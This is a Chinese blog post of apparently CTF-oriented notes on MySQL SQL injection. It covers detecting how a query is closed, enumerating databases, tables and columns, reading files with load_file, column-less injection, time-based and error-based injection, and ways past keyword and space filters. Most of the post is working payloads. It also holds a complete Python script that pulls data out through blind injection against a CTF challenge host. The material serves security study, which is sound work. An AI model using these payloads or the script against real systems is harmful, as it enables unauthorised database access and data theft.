sql注入

sql包括:
mysql、sqlite、MongoDB、Access等等,语法各有不同,在注入时若出现500错误,可能需要换个语言

以下是mysql注入

流程
无列名注入
时间盲注
报错注入

各种注入方式
各种绕过方式

流程:

  1. 判断闭合方式:
    a. 单引号 ‘
    b. 单引号加括号 ‘) (比如有in(USER_INPUT)语句)
    c. 数字型:输入1/1,是否等于输入1

  2. 获取数据库名称:

1
1';show databases;或者select database();
  1. 获取表名
1
2
3
select group_concat(table_name) from information_schema.tables where table_schema=database()
或者
1';show tables from $DATABASE_NAME;
  1. 获取列名
1
2
3
select group_concat(column_name) from information_schema.columns where table_schema='<>' and table_name='<>'
或者
1';desc
  1. 获取数据
1
select group_concat($column1,$column2) from $databaseName.$tableName

如果需要查看文件内容,可以先看用户权限:

1
select user()

如果是root用户,可以使用load_file函数,需要完整路径f

1
select load_file("/var/www/html/flag.php")

无列名注入

当information_schema被ban时候可以采用mysql.innodb_table_stats(还有两个)等库查到表名,接着使用无列名注入获取列名.然后获取数据

join using

payload

1
2
3
select * from (select * from TABLE_NAME as a join TABLE_NAME as b) as c
select * from (select * from TABLE_NAME as a join TABLE_NAME as b using(COLUMN1_NAME)) as c
select * from (select * from TABLE_NAME as a join TABLE_NAME as b using(COLUMN1_NAME,COLUMN2_NAME)) as c

子查询

payload

1
select a.2 from (select 1,2,3,4 union select * from users) as a

order by 盲注

时间盲注

可能用到的函数有
mid, substr,

比如要猜测一个flag,共3个字符
对于第一个字符,遍历所有可能的取值,如果正确,则sleep,根据时间判断是否正确。

可以先判断如何闭合:

1
' and select if(1=1,sleep(3),0);

如3s后响应则正确闭合.

然后判断数据库名称:

1
' and select if(ascii(substr(database(),1,1))=109,sleep(3),0);

3s后响应则数据库的第一个字符是’m’

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
#时间盲注
import requests
import threading
from concurrent.futures import ThreadPoolExecutor
from time import sleep
from requests.adapters import HTTPAdapter
from urllib3.util.retry import Retry

# 创建 Session 对象
session = requests.Session()

# 设置重试策略
retry_strategy = Retry(
total=3, # 最大重试次数
backoff_factor=1, # 重试等待时间:1, 2, 4, 8, ... 秒
status_forcelist=[429,500, 502, 503, 504], # 需要重试的状态码
)

# 将重试策略应用到 Session 的 HTTPAdapter
adapter = HTTPAdapter(max_retries=retry_strategy)
session.mount("http://", adapter)
session.mount("https://", adapter)

db_name = '' #geek
table_name = '' # F1naI1y,Flaaaaag
column_name = '' # id,fl4gawsl
base_url = 'http://f8704f48-b61b-4370-97ec-2a5e2b4fe611.node5.buuoj.cn:81'

select = 'select(group_concat(password))from(`F1naI1y`)'

def check_status(response):
if(response.status_code == 429):
print('too many requests')
sleep(1)
return False
elif(response.status_code != 200):
print(response.text)
exit(-1)
return True
def get_length():
global base_url
print("start get_length")
for i in range(500):
print("trying length : ", i)
poc = f"length(({select}))={i}"
url = base_url + f"/search.php?id=({poc})"
# 发送请求
try:
response = session.get(url=url)
response.raise_for_status() # 检查请求是否成功
except requests.exceptions.RequestException as e:
print("请求失败:", e)
i -= not check_status(response)
if('Click others' in response.text):
print('true')
print(i)
return i
def get_data(start,end):
global base_url
tmp = ''
for i in range(start,end):
mark = False
for j in range(32,127):
poc = f"ascii(substr(({select}),{i},{i}))={j}"
url = base_url + f"/search.php?id=({poc})"
# 发送请求
try:
response = session.get(url=url)
response.raise_for_status() # 检查请求是否成功
except requests.exceptions.RequestException as e:
print("请求失败:", e)
j -= not check_status(response)
if('Click others' in response.text):
tmp+=chr(j)
print(tmp)
mark = True
response.close()
if(not mark):
print('error occurred!!')
return tmp

# length = get_length()

begin = 0
for i in reversed(range(213)):
substr = f"(substr(({select}),{i},4))"
poc = f"not(locate('flag',{substr}))"
url = base_url + f"/search.php?id=({poc})"
# 发送请求
try:
response = session.get(url=url)
response.raise_for_status() # 检查请求是否成功
except requests.exceptions.RequestException as e:
print("请求失败:", e)
check_status(response)
print("i : ", i)
if('ERROR' in response.text):
begin = i
break
flag = get_data(begin,214)
print(flag)

报错注入

打印出报错信息的情况下可用

  1. updatexml(1,<注入语句>,1)
  2. extractvalue(1,<注入语句>)

例如:

1
1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) #

其中0x7e是让路径报错的关键, 且放在concat的第一个位置

报错最多32个字符,所以如果需要回显的字符数量超过32,则需要用到substr来分批次得到结果.
截取结果可用函数

  • substr(str, pos [, length])
  • left
  • right
  • TRIM([{BOTH|LEADING|TRAILING} [substr] FROM] str)
  • reverse(str)
  • insert(str, pos, end, replaced_str) # 把从pos开始到end结束的字符串替换成replaced_str

过滤

  1. 过滤等号 —> like
  2. 过滤空格 —> 括号
1
select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek')))
  1. 过滤or —> 用||,或者^(异或)
  2. substr —> right
  3. 过滤select
    1. 用prepare
1
2
3
4
-1';
set @sql = CONCAT('se','lect * from `1919810931114514`;');
prepare stmt from @sql;
EXECUTE stmt;
 2. handler语句
1
2
3
4
1';
handler $TABLE_NAME open;
handler $TABLE_NAME read first;
...read next;
3. 大小写绕过

sql注入
http://mekrina.github.io/blogs/uncategorized/sql注入/
作者
John Doe
发布于
2025年1月20日
许可协议